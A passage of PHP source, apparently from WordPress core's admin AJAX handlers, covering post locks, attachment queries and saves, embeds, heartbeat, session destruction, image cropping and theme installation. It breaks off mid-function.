/* translators: 1: Date of last edit, 2: Time of last edit. */
$last_edited = sprintf( __( 'Last edited on %1$s at %2$s' ), $last_date, $last_time );
}
wp_send_json_success( array( 'last_edited' => $last_edited ) );
}
/**
* Handles removing a post lock via AJAX.
*
* @since 3.1.0
*/
function wp_ajax_wp_remove_post_lock() {
if ( empty( $_POST['post_ID'] ) || empty( $_POST['active_post_lock'] ) ) {
wp_die( 0 );
}
$post_id = (int) $_POST['post_ID'];
$post = get_post( $post_id );
if ( ! $post ) {
wp_die( 0 );
}
check_ajax_referer( 'update-post_' . $post_id );
if ( ! current_user_can( 'edit_post', $post_id ) ) {
wp_die( -1 );
}
$active_lock = array_map( 'absint', explode( ':', $_POST['active_post_lock'] ) );
if ( get_current_user_id() !== $active_lock[1] ) {
wp_die( 0 );
}
/**
* Filters the post lock window duration.
*
* @since 3.3.0
*
* @param int $interval The interval in seconds the post lock duration
* should last, plus 5 seconds. Default 150.
*/
$new_lock = ( time() - apply_filters( 'wp_check_post_lock_window', 150 ) + 5 ) . ':' . $active_lock[1];
update_post_meta( $post_id, '_edit_lock', $new_lock, implode( ':', $active_lock ) );
wp_die( 1 );
}
/**
* Handles dismissing a WordPress pointer via AJAX.
*
* @since 3.1.0
*/
function wp_ajax_dismiss_wp_pointer() {
$pointer = $_POST['pointer'];
if ( sanitize_key( $pointer ) !== $pointer ) {
wp_die( 0 );
}
// check_ajax_referer( 'dismiss-pointer_' . $pointer );
$dismissed = array_filter( explode( ',', (string) get_user_meta( get_current_user_id(), 'dismissed_wp_pointers', true ) ) );
if ( in_array( $pointer, $dismissed, true ) ) {
wp_die( 0 );
}
$dismissed[] = $pointer;
$dismissed = implode( ',', $dismissed );
update_user_meta( get_current_user_id(), 'dismissed_wp_pointers', $dismissed );
wp_die( 1 );
}
/**
* Handles getting an attachment via AJAX.
*
* @since 3.5.0
*/
function wp_ajax_get_attachment() {
if ( ! isset( $_REQUEST['id'] ) ) {
wp_send_json_error();
}
$id = absint( $_REQUEST['id'] );
if ( ! $id ) {
wp_send_json_error();
}
$post = get_post( $id );
if ( ! $post ) {
wp_send_json_error();
}
if ( 'attachment' !== $post->post_type ) {
wp_send_json_error();
}
if ( ! current_user_can( 'upload_files' ) ) {
wp_send_json_error();
}
$attachment = wp_prepare_attachment_for_js( $id );
if ( ! $attachment ) {
wp_send_json_error();
}
wp_send_json_success( $attachment );
}
/**
* Handles querying attachments via AJAX.
*
* @since 3.5.0
*/
function wp_ajax_query_attachments() {
if ( ! current_user_can( 'upload_files' ) ) {
wp_send_json_error();
}
$query = isset( $_REQUEST['query'] ) ? (array) $_REQUEST['query'] : array();
$keys = array(
's',
'order',
'orderby',
'posts_per_page',
'paged',
'post_mime_type',
'post_parent',
'author',
'post__in',
'post__not_in',
'year',
'monthnum',
);
foreach ( get_taxonomies_for_attachments( 'objects' ) as $t ) {
if ( $t->query_var && isset( $query[ $t->query_var ] ) ) {
$keys[] = $t->query_var;
}
}
$query = array_intersect_key( $query, array_flip( $keys ) );
$query['post_type'] = 'attachment';
if (
MEDIA_TRASH &&
! empty( $_REQUEST['query']['post_status'] ) &&
'trash' === $_REQUEST['query']['post_status']
) {
$query['post_status'] = 'trash';
} else {
$query['post_status'] = 'inherit';
}
if ( current_user_can( get_post_type_object( 'attachment' )->cap->read_private_posts ) ) {
$query['post_status'] .= ',private';
}
// Filter query clauses to include filenames.
if ( isset( $query['s'] ) ) {
add_filter( 'wp_allow_query_attachment_by_filename', '__return_true' );
}
/**
* Filters the arguments passed to WP_Query during an Ajax
* call for querying attachments.
*
* @since 3.7.0
*
* @see WP_Query::parse_query()
*
* @param array $query An array of query variables.
*/
$query = apply_filters( 'ajax_query_attachments_args', $query );
$attachments_query = new WP_Query( $query );
update_post_parent_caches( $attachments_query->posts );
$posts = array_map( 'wp_prepare_attachment_for_js', $attachments_query->posts );
$posts = array_filter( $posts );
$total_posts = $attachments_query->found_posts;
if ( $total_posts < 1 ) {
// Out-of-bounds, run the query again without LIMIT for total count.
unset( $query['paged'] );
$count_query = new WP_Query();
$count_query->query( $query );
$total_posts = $count_query->found_posts;
}
$posts_per_page = (int) $attachments_query->get( 'posts_per_page' );
$max_pages = $posts_per_page ? (int) ceil( $total_posts / $posts_per_page ) : 0;
header( 'X-WP-Total: ' . (int) $total_posts );
header( 'X-WP-TotalPages: ' . $max_pages );
wp_send_json_success( $posts );
}
/**
* Handles updating attachment attributes via AJAX.
*
* @since 3.5.0
*/
function wp_ajax_save_attachment() {
if ( ! isset( $_REQUEST['id'] ) || ! isset( $_REQUEST['changes'] ) ) {
wp_send_json_error();
}
$id = absint( $_REQUEST['id'] );
if ( ! $id ) {
wp_send_json_error();
}
check_ajax_referer( 'update-post_' . $id, 'nonce' );
if ( ! current_user_can( 'edit_post', $id ) ) {
wp_send_json_error();
}
$changes = $_REQUEST['changes'];
$post = get_post( $id, ARRAY_A );
if ( 'attachment' !== $post['post_type'] ) {
wp_send_json_error();
}
if ( isset( $changes['parent'] ) ) {
$post['post_parent'] = $changes['parent'];
}
if ( isset( $changes['title'] ) ) {
$post['post_title'] = $changes['title'];
}
if ( isset( $changes['caption'] ) ) {
$post['post_excerpt'] = $changes['caption'];
}
if ( isset( $changes['description'] ) ) {
$post['post_content'] = $changes['description'];
}
if ( MEDIA_TRASH && isset( $changes['status'] ) ) {
$post['post_status'] = $changes['status'];
}
if ( isset( $changes['alt'] ) ) {
$alt = wp_unslash( $changes['alt'] );
if ( get_post_meta( $id, '_wp_attachment_image_alt', true ) !== $alt ) {
$alt = wp_strip_all_tags( $alt, true );
update_post_meta( $id, '_wp_attachment_image_alt', wp_slash( $alt ) );
}
}
if ( wp_attachment_is( 'audio', $post['ID'] ) ) {
$changed = false;
$id3data = wp_get_attachment_metadata( $post['ID'] );
if ( ! is_array( $id3data ) ) {
$changed = true;
$id3data = array();
}
foreach ( wp_get_attachment_id3_keys( (object) $post, 'edit' ) as $key => $label ) {
if ( isset( $changes[ $key ] ) ) {
$changed = true;
$id3data[ $key ] = sanitize_text_field( wp_unslash( $changes[ $key ] ) );
}
}
if ( $changed ) {
wp_update_attachment_metadata( $id, $id3data );
}
}
if ( MEDIA_TRASH && isset( $changes['status'] ) && 'trash' === $changes['status'] ) {
wp_delete_post( $id );
} else {
wp_update_post( $post );
}
wp_send_json_success();
}
/**
* Handles saving backward compatible attachment attributes via AJAX.
*
* @since 3.5.0
*/
function wp_ajax_save_attachment_compat() {
if ( ! isset( $_REQUEST['id'] ) ) {
wp_send_json_error();
}
$id = absint( $_REQUEST['id'] );
if ( ! $id ) {
wp_send_json_error();
}
if ( empty( $_REQUEST['attachments'] ) || empty( $_REQUEST['attachments'][ $id ] ) ) {
wp_send_json_error();
}
$attachment_data = $_REQUEST['attachments'][ $id ];
check_ajax_referer( 'update-post_' . $id, 'nonce' );
if ( ! current_user_can( 'edit_post', $id ) ) {
wp_send_json_error();
}
$post = get_post( $id, ARRAY_A );
if ( 'attachment' !== $post['post_type'] ) {
wp_send_json_error();
}
/** This filter is documented in wp-admin/includes/media.php */
$post = apply_filters( 'attachment_fields_to_save', $post, $attachment_data );
if ( isset( $post['errors'] ) ) {
$errors = $post['errors']; // @todo return me and display me!
unset( $post['errors'] );
}
wp_update_post( $post );
foreach ( get_attachment_taxonomies( $post ) as $taxonomy ) {
if ( isset( $attachment_data[ $taxonomy ] ) ) {
wp_set_object_terms( $id, array_map( 'trim', preg_split( '/,+/', $attachment_data[ $taxonomy ] ) ), $taxonomy, false );
}
}
$attachment = wp_prepare_attachment_for_js( $id );
if ( ! $attachment ) {
wp_send_json_error();
}
wp_send_json_success( $attachment );
}
/**
* Handles saving the attachment order via AJAX.
*
* @since 3.5.0
*/
function wp_ajax_save_attachment_order() {
if ( ! isset( $_REQUEST['post_id'] ) ) {
wp_send_json_error();
}
$post_id = absint( $_REQUEST['post_id'] );
if ( ! $post_id ) {
wp_send_json_error();
}
if ( empty( $_REQUEST['attachments'] ) ) {
wp_send_json_error();
}
check_ajax_referer( 'update-post_' . $post_id, 'nonce' );
$attachments = $_REQUEST['attachments'];
if ( ! current_user_can( 'edit_post', $post_id ) ) {
wp_send_json_error();
}
foreach ( $attachments as $attachment_id => $menu_order ) {
if ( ! current_user_can( 'edit_post', $attachment_id ) ) {
continue;
}
$attachment = get_post( $attachment_id );
if ( ! $attachment ) {
continue;
}
if ( 'attachment' !== $attachment->post_type ) {
continue;
}
wp_update_post(
array(
'ID' => $attachment_id,
'menu_order' => $menu_order,
)
);
}
wp_send_json_success();
}
/**
* Handles sending an attachment to the editor via AJAX.
*
* Generates the HTML to send an attachment to the editor.
* Backward compatible with the {@see 'media_send_to_editor'} filter
* and the chain of filters that follow.
*
* @since 3.5.0
*/
function wp_ajax_send_attachment_to_editor() {
check_ajax_referer( 'media-send-to-editor', 'nonce' );
$attachment = wp_unslash( $_POST['attachment'] );
$id = (int) $attachment['id'];
$post = get_post( $id );
if ( ! $post ) {
wp_send_json_error();
}
if ( 'attachment' !== $post->post_type ) {
wp_send_json_error();
}
if ( current_user_can( 'edit_post', $id ) ) {
// If this attachment is unattached, attach it. Primarily a back compat thing.
$insert_into_post_id = (int) $_POST['post_id'];
if ( 0 === $post->post_parent && $insert_into_post_id ) {
wp_update_post(
array(
'ID' => $id,
'post_parent' => $insert_into_post_id,
)
);
}
}
$url = empty( $attachment['url'] ) ? '' : $attachment['url'];
$rel = ( str_contains( $url, 'attachment_id' ) || get_attachment_link( $id ) === $url );
remove_filter( 'media_send_to_editor', 'image_media_send_to_editor' );
if ( str_starts_with( $post->post_mime_type, 'image' ) ) {
$align = isset( $attachment['align'] ) ? $attachment['align'] : 'none';
$size = isset( $attachment['image-size'] ) ? $attachment['image-size'] : 'medium';
$alt = isset( $attachment['image_alt'] ) ? $attachment['image_alt'] : '';
// No whitespace-only captions.
$caption = isset( $attachment['post_excerpt'] ) ? $attachment['post_excerpt'] : '';
if ( '' === trim( $caption ) ) {
$caption = '';
}
$title = ''; // We no longer insert title tags into tags, as they are redundant.
$html = get_image_send_to_editor( $id, $caption, $title, $align, $url, $rel, $size, $alt );
} elseif ( wp_attachment_is( 'video', $post ) || wp_attachment_is( 'audio', $post ) ) {
$html = stripslashes_deep( $_POST['html'] );
} else {
$html = isset( $attachment['post_title'] ) ? $attachment['post_title'] : '';
$rel = $rel ? ' rel="attachment wp-att-' . $id . '"' : ''; // Hard-coded string, $id is already sanitized.
if ( ! empty( $url ) ) {
$html = '' . $html . '';
}
}
/** This filter is documented in wp-admin/includes/media.php */
$html = apply_filters( 'media_send_to_editor', $html, $id, $attachment );
wp_send_json_success( $html );
}
/**
* Handles sending a link to the editor via AJAX.
*
* Generates the HTML to send a non-image embed link to the editor.
*
* Backward compatible with the following filters:
* - file_send_to_editor_url
* - audio_send_to_editor_url
* - video_send_to_editor_url
*
* @since 3.5.0
*
* @global WP_Post $post Global post object.
* @global WP_Embed $wp_embed WordPress Embed object.
*/
function wp_ajax_send_link_to_editor() {
global $post, $wp_embed;
check_ajax_referer( 'media-send-to-editor', 'nonce' );
$src = wp_unslash( $_POST['src'] );
if ( ! $src ) {
wp_send_json_error();
}
if ( ! strpos( $src, '://' ) ) {
$src = 'http://' . $src;
}
$src = sanitize_url( $src );
if ( ! $src ) {
wp_send_json_error();
}
$link_text = trim( wp_unslash( $_POST['link_text'] ) );
if ( ! $link_text ) {
$link_text = wp_basename( $src );
}
$post = get_post( isset( $_POST['post_id'] ) ? $_POST['post_id'] : 0 );
// Ping WordPress for an embed.
$check_embed = $wp_embed->run_shortcode( '[embed]' . $src . '[/embed]' );
// Fallback that WordPress creates when no oEmbed was found.
$fallback = $wp_embed->maybe_make_link( $src );
if ( $check_embed !== $fallback ) {
// TinyMCE view for [embed] will parse this.
$html = '[embed]' . $src . '[/embed]';
} elseif ( $link_text ) {
$html = '' . $link_text . '';
} else {
$html = '';
}
// Figure out what filter to run:
$type = 'file';
$ext = preg_replace( '/^.+?\.([^.]+)$/', '$1', $src );
if ( $ext ) {
$ext_type = wp_ext2type( $ext );
if ( 'audio' === $ext_type || 'video' === $ext_type ) {
$type = $ext_type;
}
}
/** This filter is documented in wp-admin/includes/media.php */
$html = apply_filters( "{$type}_send_to_editor_url", $html, $src, $link_text );
wp_send_json_success( $html );
}
/**
* Handles the Heartbeat API via AJAX.
*
* Runs when the user is logged in.
*
* @since 3.6.0
*/
function wp_ajax_heartbeat() {
if ( empty( $_POST['_nonce'] ) ) {
wp_send_json_error();
}
$response = array();
$data = array();
$nonce_state = wp_verify_nonce( $_POST['_nonce'], 'heartbeat-nonce' );
// 'screen_id' is the same as $current_screen->id and the JS global 'pagenow'.
if ( ! empty( $_POST['screen_id'] ) ) {
$screen_id = sanitize_key( $_POST['screen_id'] );
} else {
$screen_id = 'front';
}
if ( ! empty( $_POST['data'] ) ) {
$data = wp_unslash( (array) $_POST['data'] );
}
if ( 1 !== $nonce_state ) {
/**
* Filters the nonces to send to the New/Edit Post screen.
*
* @since 4.3.0
*
* @param array $response The Heartbeat response.
* @param array $data The $_POST data sent.
* @param string $screen_id The screen ID.
*/
$response = apply_filters( 'wp_refresh_nonces', $response, $data, $screen_id );
if ( false === $nonce_state ) {
// User is logged in but nonces have expired.
$response['nonces_expired'] = true;
wp_send_json( $response );
}
}
if ( ! empty( $data ) ) {
/**
* Filters the Heartbeat response received.
*
* @since 3.6.0
*
* @param array $response The Heartbeat response.
* @param array $data The $_POST data sent.
* @param string $screen_id The screen ID.
*/
$response = apply_filters( 'heartbeat_received', $response, $data, $screen_id );
}
/**
* Filters the Heartbeat response sent.
*
* @since 3.6.0
*
* @param array $response The Heartbeat response.
* @param string $screen_id The screen ID.
*/
$response = apply_filters( 'heartbeat_send', $response, $screen_id );
/**
* Fires when Heartbeat ticks in logged-in environments.
*
* Allows the transport to be easily replaced with long-polling.
*
* @since 3.6.0
*
* @param array $response The Heartbeat response.
* @param string $screen_id The screen ID.
*/
do_action( 'heartbeat_tick', $response, $screen_id );
// Send the current time according to the server.
$response['server_time'] = time();
wp_send_json( $response );
}
/**
* Handles getting revision diffs via AJAX.
*
* @since 3.6.0
*/
function wp_ajax_get_revision_diffs() {
require ABSPATH . 'wp-admin/includes/revision.php';
$post = get_post( (int) $_REQUEST['post_id'] );
if ( ! $post ) {
wp_send_json_error();
}
if ( ! current_user_can( 'edit_post', $post->ID ) ) {
wp_send_json_error();
}
// Really just pre-loading the cache here.
$revisions = wp_get_post_revisions( $post->ID, array( 'check_enabled' => false ) );
if ( ! $revisions ) {
wp_send_json_error();
}
$return = array();
// Removes the script timeout limit by setting it to 0 allowing ample time for diff UI setup.
if ( function_exists( 'set_time_limit' ) ) {
set_time_limit( 0 );
}
foreach ( $_REQUEST['compare'] as $compare_key ) {
list( $compare_from, $compare_to ) = explode( ':', $compare_key ); // from:to
$return[] = array(
'id' => $compare_key,
'fields' => wp_get_revision_ui_diff( $post, $compare_from, $compare_to ),
);
}
wp_send_json_success( $return );
}
/**
* Handles auto-saving the selected color scheme for
* a user's own profile via AJAX.
*
* @since 3.8.0
*
* @global array $_wp_admin_css_colors
*/
function wp_ajax_save_user_color_scheme() {
global $_wp_admin_css_colors;
check_ajax_referer( 'save-color-scheme', 'nonce' );
$color_scheme = sanitize_key( $_POST['color_scheme'] );
if ( ! isset( $_wp_admin_css_colors[ $color_scheme ] ) ) {
wp_send_json_error();
}
$previous_color_scheme = get_user_meta( get_current_user_id(), 'admin_color', true );
update_user_meta( get_current_user_id(), 'admin_color', $color_scheme );
wp_send_json_success(
array(
'previousScheme' => 'admin-color-' . $previous_color_scheme,
'currentScheme' => 'admin-color-' . $color_scheme,
)
);
}
/**
* Handles getting themes from themes_api() via AJAX.
*
* @since 3.9.0
*
* @global array $themes_allowedtags
* @global array $theme_field_defaults
*/
function wp_ajax_query_themes() {
global $themes_allowedtags, $theme_field_defaults;
if ( ! current_user_can( 'install_themes' ) ) {
wp_send_json_error();
}
$args = wp_parse_args(
wp_unslash( $_REQUEST['request'] ),
array(
'per_page' => 20,
'fields' => array_merge(
(array) $theme_field_defaults,
array(
'reviews_url' => true, // Explicitly request the reviews URL to be linked from the Add Themes screen.
)
),
)
);
if ( isset( $args['browse'] ) && 'favorites' === $args['browse'] && ! isset( $args['user'] ) ) {
$user = get_user_option( 'wporg_favorites' );
if ( $user ) {
$args['user'] = $user;
}
}
$old_filter = isset( $args['browse'] ) ? $args['browse'] : 'search';
/** This filter is documented in wp-admin/includes/class-wp-theme-install-list-table.php */
$args = apply_filters( 'install_themes_table_api_args_' . $old_filter, $args );
$api = themes_api( 'query_themes', $args );
if ( is_wp_error( $api ) ) {
wp_send_json_error();
}
$update_php = network_admin_url( 'update.php?action=install-theme' );
$installed_themes = search_theme_directories();
if ( false === $installed_themes ) {
$installed_themes = array();
}
foreach ( $installed_themes as $theme_slug => $theme_data ) {
// Ignore child themes.
if ( str_contains( $theme_slug, '/' ) ) {
unset( $installed_themes[ $theme_slug ] );
}
}
foreach ( $api->themes as &$theme ) {
$theme->install_url = add_query_arg(
array(
'theme' => $theme->slug,
'_wpnonce' => wp_create_nonce( 'install-theme_' . $theme->slug ),
),
$update_php
);
if ( current_user_can( 'switch_themes' ) ) {
if ( is_multisite() ) {
$theme->activate_url = add_query_arg(
array(
'action' => 'enable',
'_wpnonce' => wp_create_nonce( 'enable-theme_' . $theme->slug ),
'theme' => $theme->slug,
),
network_admin_url( 'themes.php' )
);
} else {
$theme->activate_url = add_query_arg(
array(
'action' => 'activate',
'_wpnonce' => wp_create_nonce( 'switch-theme_' . $theme->slug ),
'stylesheet' => $theme->slug,
),
admin_url( 'themes.php' )
);
}
}
$is_theme_installed = array_key_exists( $theme->slug, $installed_themes );
// We only care about installed themes.
$theme->block_theme = $is_theme_installed && wp_get_theme( $theme->slug )->is_block_theme();
if ( ! is_multisite() && current_user_can( 'edit_theme_options' ) && current_user_can( 'customize' ) ) {
$customize_url = $theme->block_theme ? admin_url( 'site-editor.php' ) : wp_customize_url( $theme->slug );
$theme->customize_url = add_query_arg(
array(
'return' => urlencode( network_admin_url( 'theme-install.php', 'relative' ) ),
),
$customize_url
);
}
$theme->name = wp_kses( $theme->name, $themes_allowedtags );
$theme->author = wp_kses( $theme->author['display_name'], $themes_allowedtags );
$theme->version = wp_kses( $theme->version, $themes_allowedtags );
$theme->description = wp_kses( $theme->description, $themes_allowedtags );
$theme->stars = wp_star_rating(
array(
'rating' => $theme->rating,
'type' => 'percent',
'number' => $theme->num_ratings,
'echo' => false,
)
);
$theme->num_ratings = number_format_i18n( $theme->num_ratings );
$theme->preview_url = set_url_scheme( $theme->preview_url );
$theme->compatible_wp = is_wp_version_compatible( $theme->requires );
$theme->compatible_php = is_php_version_compatible( $theme->requires_php );
}
wp_send_json_success( $api );
}
/**
* Applies [embed] Ajax handlers to a string.
*
* @since 4.0.0
*
* @global WP_Post $post Global post object.
* @global WP_Embed $wp_embed WordPress Embed object.
* @global WP_Scripts $wp_scripts
* @global int $content_width
*/
function wp_ajax_parse_embed() {
global $post, $wp_embed, $content_width;
if ( empty( $_POST['shortcode'] ) ) {
wp_send_json_error();
}
$post_id = isset( $_POST['post_ID'] ) ? (int) $_POST['post_ID'] : 0;
if ( $post_id > 0 ) {
$post = get_post( $post_id );
if ( ! $post || ! current_user_can( 'edit_post', $post->ID ) ) {
wp_send_json_error();
}
setup_postdata( $post );
} elseif ( ! current_user_can( 'edit_posts' ) ) { // See WP_oEmbed_Controller::get_proxy_item_permissions_check().
wp_send_json_error();
}
$shortcode = wp_unslash( $_POST['shortcode'] );
preg_match( '/' . get_shortcode_regex() . '/s', $shortcode, $matches );
$atts = shortcode_parse_atts( $matches[3] );
if ( ! empty( $matches[5] ) ) {
$url = $matches[5];
} elseif ( ! empty( $atts['src'] ) ) {
$url = $atts['src'];
} else {
$url = '';
}
$parsed = false;
$wp_embed->return_false_on_fail = true;
if ( 0 === $post_id ) {
/*
* Refresh oEmbeds cached outside of posts that are past their TTL.
* Posts are excluded because they have separate logic for refreshing
* their post meta caches. See WP_Embed::cache_oembed().
*/
$wp_embed->usecache = false;
}
if ( is_ssl() && str_starts_with( $url, 'http://' ) ) {
/*
* Admin is ssl and the user pasted non-ssl URL.
* Check if the provider supports ssl embeds and use that for the preview.
*/
$ssl_shortcode = preg_replace( '%^(\\[embed[^\\]]*\\])http://%i', '$1https://', $shortcode );
$parsed = $wp_embed->run_shortcode( $ssl_shortcode );
if ( ! $parsed ) {
$no_ssl_support = true;
}
}
// Set $content_width so any embeds fit in the destination iframe.
if ( isset( $_POST['maxwidth'] ) && is_numeric( $_POST['maxwidth'] ) && $_POST['maxwidth'] > 0 ) {
if ( ! isset( $content_width ) ) {
$content_width = (int) $_POST['maxwidth'];
} else {
$content_width = min( $content_width, (int) $_POST['maxwidth'] );
}
}
if ( $url && ! $parsed ) {
$parsed = $wp_embed->run_shortcode( $shortcode );
}
if ( ! $parsed ) {
wp_send_json_error(
array(
'type' => 'not-embeddable',
/* translators: %s: URL that could not be embedded. */
'message' => sprintf( __( '%s failed to embed.' ), '' . esc_html( $url ) . '' ),
)
);
}
if ( has_shortcode( $parsed, 'audio' ) || has_shortcode( $parsed, 'video' ) ) {
$styles = '';
$mce_styles = wpview_media_sandbox_styles();
foreach ( $mce_styles as $style ) {
$styles .= sprintf( '', $style );
}
$html = do_shortcode( $parsed );
global $wp_scripts;
if ( ! empty( $wp_scripts ) ) {
$wp_scripts->done = array();
}
ob_start();
wp_print_scripts( array( 'mediaelement-vimeo', 'wp-mediaelement' ) );
$scripts = ob_get_clean();
$parsed = $styles . $html . $scripts;
}
if ( ! empty( $no_ssl_support ) || ( is_ssl() && ( preg_match( '%<(iframe|script|embed) [^>]*src="http://%', $parsed ) ||
preg_match( '%]*href="http://%', $parsed ) ) ) ) {
// Admin is ssl and the embed is not. Iframes, scripts, and other "active content" will be blocked.
wp_send_json_error(
array(
'type' => 'not-ssl',
'message' => __( 'This preview is unavailable in the editor.' ),
)
);
}
$return = array(
'body' => $parsed,
'attr' => $wp_embed->last_attr,
);
if ( str_contains( $parsed, 'class="wp-embedded-content' ) ) {
if ( defined( 'SCRIPT_DEBUG' ) && SCRIPT_DEBUG ) {
$script_src = includes_url( 'js/wp-embed.js' );
} else {
$script_src = includes_url( 'js/wp-embed.min.js' );
}
$return['head'] = '';
$return['sandbox'] = true;
}
wp_send_json_success( $return );
}
/**
* @since 4.0.0
*
* @global WP_Post $post Global post object.
* @global WP_Scripts $wp_scripts
*/
function wp_ajax_parse_media_shortcode() {
global $post, $wp_scripts;
if ( empty( $_POST['shortcode'] ) ) {
wp_send_json_error();
}
$shortcode = wp_unslash( $_POST['shortcode'] );
// Only process previews for media related shortcodes:
$found_shortcodes = get_shortcode_tags_in_content( $shortcode );
$media_shortcodes = array(
'audio',
'embed',
'playlist',
'video',
'gallery',
);
$other_shortcodes = array_diff( $found_shortcodes, $media_shortcodes );
if ( ! empty( $other_shortcodes ) ) {
wp_send_json_error();
}
if ( ! empty( $_POST['post_ID'] ) ) {
$post = get_post( (int) $_POST['post_ID'] );
}
// The embed shortcode requires a post.
if ( ! $post || ! current_user_can( 'edit_post', $post->ID ) ) {
if ( in_array( 'embed', $found_shortcodes, true ) ) {
wp_send_json_error();
}
} else {
setup_postdata( $post );
}
$parsed = do_shortcode( $shortcode );
if ( empty( $parsed ) ) {
wp_send_json_error(
array(
'type' => 'no-items',
'message' => __( 'No items found.' ),
)
);
}
$head = '';
$styles = wpview_media_sandbox_styles();
foreach ( $styles as $style ) {
$head .= '';
}
if ( ! empty( $wp_scripts ) ) {
$wp_scripts->done = array();
}
ob_start();
echo $parsed;
if ( 'playlist' === $_REQUEST['type'] ) {
wp_underscore_playlist_templates();
wp_print_scripts( 'wp-playlist' );
} else {
wp_print_scripts( array( 'mediaelement-vimeo', 'wp-mediaelement' ) );
}
wp_send_json_success(
array(
'head' => $head,
'body' => ob_get_clean(),
)
);
}
/**
* Handles destroying multiple open sessions for a user via AJAX.
*
* @since 4.1.0
*/
function wp_ajax_destroy_sessions() {
$user = get_userdata( (int) $_POST['user_id'] );
if ( $user ) {
if ( ! current_user_can( 'edit_user', $user->ID ) ) {
$user = false;
} elseif ( ! wp_verify_nonce( $_POST['nonce'], 'update-user_' . $user->ID ) ) {
$user = false;
}
}
if ( ! $user ) {
wp_send_json_error(
array(
'message' => __( 'Could not log out user sessions. Please try again.' ),
)
);
}
$sessions = WP_Session_Tokens::get_instance( $user->ID );
if ( get_current_user_id() === $user->ID ) {
$sessions->destroy_others( wp_get_session_token() );
$message = __( 'You are now logged out everywhere else.' );
} else {
$sessions->destroy_all();
/* translators: %s: User's display name. */
$message = sprintf( __( '%s has been logged out.' ), $user->display_name );
}
wp_send_json_success( array( 'message' => $message ) );
}
/**
* Handles cropping an image via AJAX.
*
* @since 4.3.0
*/
function wp_ajax_crop_image() {
$attachment_id = absint( $_POST['id'] );
check_ajax_referer( 'image_editor-' . $attachment_id, 'nonce' );
if ( empty( $attachment_id ) || ! current_user_can( 'edit_post', $attachment_id ) ) {
wp_send_json_error();
}
$context = str_replace( '_', '-', $_POST['context'] );
$data = array_map( 'absint', $_POST['cropDetails'] );
$cropped = wp_crop_image( $attachment_id, $data['x1'], $data['y1'], $data['width'], $data['height'], $data['dst_width'], $data['dst_height'] );
if ( ! $cropped || is_wp_error( $cropped ) ) {
wp_send_json_error( array( 'message' => __( 'Image could not be processed.' ) ) );
}
switch ( $context ) {
case 'site-icon':
require_once ABSPATH . 'wp-admin/includes/class-wp-site-icon.php';
$wp_site_icon = new WP_Site_Icon();
// Skip creating a new attachment if the attachment is a Site Icon.
if ( get_post_meta( $attachment_id, '_wp_attachment_context', true ) === $context ) {
// Delete the temporary cropped file, we don't need it.
wp_delete_file( $cropped );
// Additional sizes in wp_prepare_attachment_for_js().
add_filter( 'image_size_names_choose', array( $wp_site_icon, 'additional_sizes' ) );
break;
}
/** This filter is documented in wp-admin/includes/class-custom-image-header.php */
$cropped = apply_filters( 'wp_create_file_in_uploads', $cropped, $attachment_id ); // For replication.
// Copy attachment properties.
$attachment = wp_copy_parent_attachment_properties( $cropped, $attachment_id, $context );
// Update the attachment.
add_filter( 'intermediate_image_sizes_advanced', array( $wp_site_icon, 'additional_sizes' ) );
$attachment_id = $wp_site_icon->insert_attachment( $attachment, $cropped );
remove_filter( 'intermediate_image_sizes_advanced', array( $wp_site_icon, 'additional_sizes' ) );
// Additional sizes in wp_prepare_attachment_for_js().
add_filter( 'image_size_names_choose', array( $wp_site_icon, 'additional_sizes' ) );
break;
default:
/**
* Fires before a cropped image is saved.
*
* Allows to add filters to modify the way a cropped image is saved.
*
* @since 4.3.0
*
* @param string $context The Customizer control requesting the cropped image.
* @param int $attachment_id The attachment ID of the original image.
* @param string $cropped Path to the cropped image file.
*/
do_action( 'wp_ajax_crop_image_pre_save', $context, $attachment_id, $cropped );
/** This filter is documented in wp-admin/includes/class-custom-image-header.php */
$cropped = apply_filters( 'wp_create_file_in_uploads', $cropped, $attachment_id ); // For replication.
// Copy attachment properties.
$attachment = wp_copy_parent_attachment_properties( $cropped, $attachment_id, $context );
$attachment_id = wp_insert_attachment( $attachment, $cropped );
$metadata = wp_generate_attachment_metadata( $attachment_id, $cropped );
/**
* Filters the cropped image attachment metadata.
*
* @since 4.3.0
*
* @see wp_generate_attachment_metadata()
*
* @param array $metadata Attachment metadata.
*/
$metadata = apply_filters( 'wp_ajax_cropped_attachment_metadata', $metadata );
wp_update_attachment_metadata( $attachment_id, $metadata );
/**
* Filters the attachment ID for a cropped image.
*
* @since 4.3.0
*
* @param int $attachment_id The attachment ID of the cropped image.
* @param string $context The Customizer control requesting the cropped image.
*/
$attachment_id = apply_filters( 'wp_ajax_cropped_attachment_id', $attachment_id, $context );
}
wp_send_json_success( wp_prepare_attachment_for_js( $attachment_id ) );
}
/**
* Handles generating a password via AJAX.
*
* @since 4.4.0
*/
function wp_ajax_generate_password() {
wp_send_json_success( wp_generate_password( 24 ) );
}
/**
* Handles generating a password in the no-privilege context via AJAX.
*
* @since 5.7.0
*/
function wp_ajax_nopriv_generate_password() {
wp_send_json_success( wp_generate_password( 24 ) );
}
/**
* Handles saving the user's WordPress.org username via AJAX.
*
* @since 4.4.0
*/
function wp_ajax_save_wporg_username() {
if ( ! current_user_can( 'install_themes' ) && ! current_user_can( 'install_plugins' ) ) {
wp_send_json_error();
}
check_ajax_referer( 'save_wporg_username_' . get_current_user_id() );
$username = isset( $_REQUEST['username'] ) ? wp_unslash( $_REQUEST['username'] ) : false;
if ( ! $username ) {
wp_send_json_error();
}
wp_send_json_success( update_user_meta( get_current_user_id(), 'wporg_favorites', $username ) );
}
/**
* Handles installing a theme via AJAX.
*
* @since 4.6.0
*
* @see Theme_Upgrader
*
* @global WP_Filesystem_Base $wp_filesystem WordPress filesystem subclass.
*/
function wp_ajax_install_theme() {
check_ajax_referer( 'updates' );
if ( empty( $_POST['slug'] ) ) {
wp_send_json_error(
array(
'slug' => '',
'errorCode' => 'no_theme_specified',
'errorMessage' => __( 'No theme specified.' ),
)
);
}
$slug = sanitize_key( wp_unslash( $_POST['slug'] ) );
$status = array(
'install' => 'theme',
'slug' => $slug,
);
if ( ! current_user_can( 'install_themes' ) ) {
$status['errorMessage'] = __( 'Sorry, you are not allowed to install themes on this site.' );
wp_send_json_error( $status );
}
require_once ABSPATH . 'wp-admin/includes/class-wp-upgrader.php';
require_once ABSPATH . 'wp-admin/includes/theme.php';
$api = themes_api(
'theme_information',
array(
'slug' => $slug,
'fields' => array( 'sections' => false ),
)
);
if ( is_wp_error( $api ) ) {
$status['errorMessage'] = $api->get_error_message();
wp_send_json_error( $status );
}
